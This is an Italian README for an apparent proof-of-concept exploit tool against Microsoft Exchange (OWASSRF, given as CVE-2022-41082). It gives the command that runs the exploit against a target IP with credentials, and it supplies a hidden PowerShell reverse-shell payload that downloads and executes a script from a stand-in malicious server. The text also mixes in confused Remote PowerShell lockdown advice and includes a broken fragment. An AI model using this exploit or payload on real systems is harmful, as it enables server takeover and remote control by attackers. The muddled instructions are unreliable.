
CVE-2022-41082-poc
Questo repository contiene uno strumento proof-of-concept (PoC) per sfruttare la vulnerabilità OWASSRF (CVE-2022-41082) nei server Microsoft Exchange. L'exploit consente agli attaccanti di eseguire comandi arbitrari sul server, compromettendo potenzialmente il sistema.
Lo strumento sfrutta una vulnerabilità OWASSRF per bypassare l'autenticazione e ottenere l'esecuzione remota di codice (RCE) su un server Exchange. Sfruttando questa vulnerabilità, un attaccante può eseguire comandi come se fosse un utente autenticato, con gravi implicazioni per la sicurezza.
Quando si utilizza questo strumento, per favore assicurati di mantenere aperta la stessa sessione di Exchange Management Shell. È fondamentale abilitare l'accesso a Remote PowerShell per almeno un utente dopo averlo disabilitato per gli altri. In caso contrario, si potrebbe perdere l'accesso a Management Shell su tutti i server Exchange.
Ecco alcuni comandi PowerShell utili per verificare e gestire chi ha accesso:
Per vedere quali utenti hanno accesso a Remote PowerShell e quali no, esegui:
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $false'
Avvertenza: fai attenzione a non chiudere la finestra di Exchange Management Shell a meno che tu non aggiunga di nuovo almeno un utente.
Puoi disabilitare l'accesso a PowerShell per tutti gli utenti usando i seguenti comandi:
$user = Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
$user | foreach {Set-User -Identity $_ -RemotePowerShellEnabled $false}
Oppure usa un singolo comando per ottenere lo stesso risultato:
Get-User -ResultSize Unlimited | Set-User -RemotePowerShellEnabled $false
Per concedere l'accesso a Remote PowerShell a un utente specifico, esegui:
Set-User "guest" -RemotePowerShellEnabled $true
Se perdi l'accesso a PowerShell per tutti gli utenti, puoi creare un nuovo utente della cassetta postale con diritti di amministratore. Questo nuovo utente aggirerà i criteri applicati, consentendoti di utilizzare di nuovo Exchange Management Shell.
pip se necessario)Per eseguire lo strumento PoC, usa il seguente comando:
python3 poc.py -H <target_IP> -u <username> -p <password> -c <command_file>
Sostituisci <target_IP>, <username>, <password> e <command_file> con i tuoi valori specifici.
Puoi modificare il comando nel tuo cmd_file per includere un payload di reverse shell. Ad esempio:
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object Net.WebClient).DownloadString('http://your-malicious-server.com/reverse.ps1')"
Questo comando scaricherà ed eseguirà uno script PowerShell dal tuo server, fornendoti una reverse shell.
Per maggiori informazioni sulla vulnerabilità OWASSRF e sul codice PoC, visita il seguente link: OWASSRF CVE-2022-41082 PoC e https://www.youtube.com/watch?v=c2DZYP6jc7g